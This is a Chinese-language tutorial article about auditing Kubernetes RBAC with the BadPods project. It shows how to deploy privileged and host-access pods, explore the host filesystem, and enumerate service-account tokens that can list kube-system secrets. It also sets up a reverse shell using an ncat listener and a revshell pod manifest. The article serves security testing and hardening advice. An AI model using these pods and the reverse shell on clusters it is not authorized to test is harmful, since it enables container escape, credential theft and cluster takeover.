恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试
首页
资讯中心
/
Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试
Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试
发布时间:2026/8/10 19:12:00
Kubernetes权限审计实战基于BadPods的RBAC权限边界测试【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPodsBadPods是一个专注于Kubernetes权限边界测试的开源项目通过提供一系列预配置的清单文件帮助安全工程师和DevOps团队快速识别集群中存在的权限过度分配风险。本文将详细介绍如何利用BadPods进行实战化的RBAC权限审计通过模拟真实攻击场景来验证集群的安全边界。为什么需要Kubernetes权限审计随着Kubernetes在生产环境中的广泛应用容器编排平台的安全问题日益凸显。根据2023年云原生安全报告显示超过65%的Kubernetes集群存在至少一项高危权限配置问题其中最常见的包括过度宽松的PodSecurityPolicy配置未受限制的主机资源访问hostPath、hostNetwork等过度授权的Service Account令牌缺乏最小权限原则的RBAC策略这些配置缺陷可能导致攻击者通过恶意Pod实现权限提升、节点逃逸甚至整个集群的接管。BadPods项目正是为解决这些问题而生它提供了一套标准化的测试用例能够帮助团队在真实攻击发生前发现并修复权限配置问题。BadPods项目结构与核心功能BadPods项目包含8种不同权限级别的恶意Pod定义每种Pod针对特定的安全敏感属性进行配置。项目的核心结构如下manifests/ ├── everything-allowed/ # 拥有全部特权的Pod ├── priv-and-hostpid/ # 特权模式主机PID命名空间 ├── priv/ # 仅特权模式 ├── hostpath/ # 仅主机路径挂载 ├── hostpid/ # 仅主机PID命名空间 ├── hostnetwork/ # 仅主机网络 ├── hostipc/ # 仅主机IPC命名空间 └── nothing-allowed/ # 无特殊权限的对照组每个权限类型下又包含8种不同的Kubernetes资源定义Pod、Deployment、DaemonSet等以及两种访问方式exec直接执行和reverse shell反向连接总计提供128个即用型安全测试清单。快速开始BadPods环境部署环境准备进行BadPods测试前需确保满足以下条件拥有Kubernetes集群访问权限具备创建至少一种工作负载资源的RBAC权限能够执行kubectl exec命令或配置网络策略允许反向连接安装步骤克隆项目仓库git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods部署基础测试Pod套件kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml验证部署结果kubectl get pods | grep -E everything-allowed|priv|hostpath核心测试场景与实施方法1. 特权Pod权限边界测试特权PodPrivileged Pod是最危险的配置之一它拥有主机系统的root权限几乎可以执行任何操作。BadPods提供了专门的测试用例来验证集群是否允许创建特权Pod。测试步骤# 部署特权Pod测试用例 kubectl apply -f manifests/priv/pod/priv-exec-pod.yaml # 检查Pod状态 kubectl get pods -l apppriv-exec-pod # 若Pod成功运行执行权限测试 kubectl exec -it pod-name -- bash -c cat /proc/1/cgroup预期结果安全配置的集群应拒绝创建特权Pod若Pod创建成功表明集群存在严重权限缺陷需立即修复2. 主机资源访问测试Kubernetes允许Pod通过特定配置访问主机系统资源包括文件系统、网络栈、进程空间等。这些配置如果被滥用将导致严重的安全风险。HostPath挂载测试# 部署hostPath测试Pod kubectl apply -f manifests/hostpath/pod/hostpath-exec-pod.yaml # 检查是否成功挂载主机根文件系统 kubectl exec -it pod-name -- ls /hostHostNetwork测试# 部署hostNetwork测试Pod kubectl apply -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml # 检查网络命名空间 kubectl exec -it pod-name -- ip addr | grep -E eth0|lo3. RBAC权限映射分析BadPods项目提供了一个强大的辅助脚本can-they.sh能够帮助分析当前集群中各Service Account的实际权限范围。脚本使用方法# 从Pod内部运行适用于hostPath或everything-allowed类型Pod ./scripts/can-they.sh -i list secrets -n kube-system # 从外部运行适用于priv-and-hostpid类型Pod ./scripts/can-they.sh -n default -p priv-and-hostpid-exec-pod -i create pods -n kube-system输出解读 脚本将遍历集群中的所有令牌测试指定操作的权限并输出类似以下结果-------------------------------------------------------- Token Location: /host/var/lib/kubelet/pods/xxxx/token Can I list secrets -n kube-system? yes权限审计报告与修复建议完成BadPods测试后需要根据结果生成权限审计报告重点关注以下几个方面关键发现项高危权限配置允许创建特权Pod的命名空间拥有hostPath挂载权限的Service Account能够访问主机网络/进程的工作负载过度授权分析列出所有能够创建多种资源类型的角色识别具有cluster-admin等效权限的账户检查是否存在通配符权限如*资源或*动词修复建议实施最小权限原则为每个应用创建专用Service Account严格限制角色权限避免使用通配符定期审查并撤销不再需要的权限启用Pod安全标准在Kubernetes 1.25中启用PodSecurity Admission为不同环境配置适当的安全级别Privileged、Baseline、Restricted对关键命名空间实施严格的安全策略增强监控与检测部署Audit Log监控异常权限使用配置Prometheus规则告警特权Pod创建实施运行时安全监控解决方案高级使用技巧定制化测试方案批量测试所有资源类型BadPods支持通过find命令批量部署同一权限级别的所有资源类型# 部署everything-allowed类型的所有exec资源 find manifests/everything-allowed/ -name *-exec-*.yaml -exec kubectl apply -f {} \; # 清理测试资源 find manifests/everything-allowed/ -name *-exec-*.yaml -exec kubectl delete -f {} \;反向Shell测试当无法直接执行kubectl exec时可以使用BadPods提供的反向Shell测试用例# 在本地启动监听 ncat --ssl -vlp 4433 # 在目标集群部署反向Shell Pod HOSTyour-ip PORT4433 envsubst ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -总结与最佳实践Kubernetes权限审计是云原生安全的关键环节BadPods项目为这一过程提供了标准化、可重复的测试方法。通过本文介绍的方法安全团队可以快速评估Kubernetes集群的权限配置风险验证RBAC策略的有效性和边界识别并修复过度宽松的安全配置建立持续的权限监控与审计流程建议将BadPods测试整合到CI/CD流程中作为集群部署前的安全检查环节同时定期如每季度进行全面的权限审计确保随着集群的演化安全边界得到持续维护。最后需要强调的是BadPods项目仅用于合法的安全测试和审计目的未经授权的使用可能违反法律法规和组织政策。始终在获得明确授权的情况下进行安全测试。【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考